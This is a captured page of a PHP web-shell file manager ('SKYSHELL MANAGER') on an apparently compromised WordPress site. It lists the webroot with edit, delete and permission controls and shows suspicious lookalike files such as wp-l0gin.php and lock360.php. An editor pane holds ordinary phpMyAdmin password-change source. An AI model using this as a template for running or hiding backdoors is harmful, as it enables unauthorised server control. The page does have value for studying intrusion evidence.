📁
SKYSHELL MANAGER
PHP v8.3.31
Create
Create
Path:
root
/
www
/
wwwroot
/
23winw.org
/
Name
Size
Perm
Actions
📁
seo
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0777
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.user.ini
0.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
32.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
adminfuns.php
24.51 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
asd.php
143.87 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
2.02 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
connects.php
4.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
css
1.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dataxy.php
37.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dex.php
77.67 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
169.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
14.36 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ioxi-o.php
966.6 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kk.php
3.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-parse-opml.php
53.15 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
lock360.php
47.7 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
moddofuns.php
5.36 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
my-sites.php
161.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
siteheads.php
168.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
thoms.php
399.45 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
worksec.php
1.06 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.61 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
5.02 KB
0600
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php..
3.56 KB
0666
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-editor.php
53.71 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-l0gin.php
170.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
51.3 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-set.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
32.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-sign.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
34.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
70.92 KB
0000
🗑️
🏷️
⬇️
✏️
🔒
Edit: UserPassword.php
<?php declare(strict_types=1); namespace PhpMyAdmin; use PhpMyAdmin\Html\Generator; use PhpMyAdmin\Query\Compatibility; use PhpMyAdmin\Server\Privileges; use function __; use function strlen; /** * Functions for user password */ class UserPassword { /** @var Privileges */ private $serverPrivileges; /** * @param Privileges $serverPrivileges Privileges object */ public function __construct(Privileges $serverPrivileges) { $this->serverPrivileges = $serverPrivileges; } /** * Generate the message * * @return array error value and message */ public function setChangePasswordMsg() { $error = false; $message = Message::success(__('The profile has been updated.')); if ($_POST['nopass'] != '1') { if (strlen($_POST['pma_pw']) === 0 || strlen($_POST['pma_pw2']) === 0) { $message = Message::error(__('The password is empty!')); $error = true; } elseif ($_POST['pma_pw'] !== $_POST['pma_pw2']) { $message = Message::error( __('The passwords aren\'t the same!') ); $error = true; } elseif (strlen($_POST['pma_pw']) > 256) { $message = Message::error(__('Password is too long!')); $error = true; } } return [ 'error' => $error, 'msg' => $message, ]; } /** * Change the password * * @param string $password New password */ public function changePassword($password): string { global $auth_plugin, $dbi; $hashing_function = $this->changePassHashingFunction(); [$username, $hostname] = $dbi->getCurrentUserAndHost(); $serverVersion = $dbi->getVersion(); $orig_auth_plugin = $this->serverPrivileges->getCurrentAuthenticationPlugin('change', $username, $hostname); $authPluginChanged = false; if (isset($_POST['authentication_plugin']) && ! empty($_POST['authentication_plugin'])) { if ($orig_auth_plugin !== $_POST['authentication_plugin']) { $authPluginChanged = true; } $orig_auth_plugin = $_POST['authentication_plugin']; } $sql_query = 'SET password = ' . ($password == '' ? '\'\'' : $hashing_function . '(\'***\')'); $isPerconaOrMySql = Compatibility::isMySqlOrPerconaDb(); if ($isPerconaOrMySql && $serverVersion >= 50706) { $sql_query = $this->getChangePasswordQueryAlterUserMySQL( $serverVersion, $username, $hostname, $orig_auth_plugin, $password === '' ? '' : '***', // Mask it, preview mode $authPluginChanged ); } elseif ( ($isPerconaOrMySql && $serverVersion >= 50507) || (Compatibility::isMariaDb() && $serverVersion >= 50200) ) { // For MySQL and Percona versions 5.5.7+ and MariaDB versions 5.2+, // explicitly set value of `old_passwords` so that // it does not give an error while using // the PASSWORD() function if ($orig_auth_plugin === 'sha256_password') { $value = 2; } else { $value = 0; } $dbi->tryQuery('SET `old_passwords` = ' . $value . ';'); } $this->changePassUrlParamsAndSubmitQuery( $username, $hostname, $password, $sql_query, $hashing_function, $orig_auth_plugin, $authPluginChanged ); $auth_plugin->handlePasswordChange($password); return $sql_query; } private function getChangePasswordQueryAlterUserMySQL( int $serverVersion, string $username, string $hostname, string $authPlugin, string $password, bool $authPluginChanged ): string { global $dbi; // Starting with MySQL 5.7.37 the security check changed // See: https://github.com/mysql/mysql-server/commit/b31a8a5d7805834ca2d25629c0e584d2c53b1a5b // See: https://github.com/phpmyadmin/phpmyadmin/issues/17654 // That means that you should not try to change or state a plugin using IDENTIFIED WITH // Or it will say: Access denied; you need (at least one of) the CREATE USER privilege(s) for this operation // So let's avoid stating a plugin if it's not needed/changed if ($serverVersion >= 50706 && $serverVersion < 50737) { return 'ALTER USER \'' . $dbi->escapeString($username) . '\'@\'' . $dbi->escapeString($hostname) . '\' IDENTIFIED WITH ' . $authPlugin . ' BY ' . ($password === '' ? '\'\'' : '\'' . $dbi->escapeString($password) . '\''); } $sql_query = 'ALTER USER \'' . $dbi->escapeString($username) . '\'@\'' . $dbi->escapeString($hostname) . '\' IDENTIFIED'; if ($authPluginChanged) { $sql_query .= ' WITH ' . $authPlugin; } return $sql_query . ' BY ' . ($password === '' ? '\'\'' : '\'' . $dbi->escapeString($password) . '\''); } /** * Generate the hashing function */ private function changePassHashingFunction(): string { if (isset($_POST['authentication_plugin']) && $_POST['authentication_plugin'] === 'mysql_old_password') { $hashing_function = 'OLD_PASSWORD'; } else { $hashing_function = 'PASSWORD'; } return $hashing_function; } /** * Changes password for a user */ private function changePassUrlParamsAndSubmitQuery( string $username, string $hostname, string $password, string $sql_query, string $hashing_function, string $orig_auth_plugin, bool $authPluginChanged ): void { global $dbi; $err_url = Url::getFromRoute('/user-password'); $serverVersion = $dbi->getVersion(); $isPerconaOrMySql = Compatibility::isMySqlOrPerconaDb(); if ($isPerconaOrMySql && $serverVersion >= 50706) { $local_query = $this->getChangePasswordQueryAlterUserMySQL( $serverVersion, $username, $hostname, $orig_auth_plugin, $password, $authPluginChanged ); } elseif ( Compatibility::isMariaDb() && $serverVersion >= 50200 && $serverVersion < 100100 && $orig_auth_plugin !== '' ) { if ($orig_auth_plugin === 'mysql_native_password') { // Set the hashing method used by PASSWORD() // to be 'mysql_native_password' type $dbi->tryQuery('SET old_passwords = 0;'); } elseif ($orig_auth_plugin === 'sha256_password') { // Set the hashing method used by PASSWORD() // to be 'sha256_password' type $dbi->tryQuery('SET `old_passwords` = 2;'); } $hashedPassword = $this->serverPrivileges->getHashedPassword($_POST['pma_pw']); $local_query = 'UPDATE `mysql`.`user` SET' . " `authentication_string` = '" . $hashedPassword . "', `Password` = '', " . " `plugin` = '" . $orig_auth_plugin . "'" . " WHERE `User` = '" . $dbi->escapeString($username) . "' AND Host = '" . $dbi->escapeString($hostname) . "';"; } else { $local_query = 'SET password = ' . ($password == '' ? '\'\'' : $hashing_function . '(\'' . $dbi->escapeString($password) . '\')'); } if (! @$dbi->tryQuery($local_query)) { Generator::mysqlDie( $dbi->getError(), $sql_query, false, $err_url ); } // Flush privileges after successful password change $dbi->tryQuery('FLUSH PRIVILEGES;'); } public function getFormForChangePassword(?string $username, ?string $hostname): string { return $this->serverPrivileges->getFormForChangePassword($username ?? '', $hostname ?? '', false); } }
Save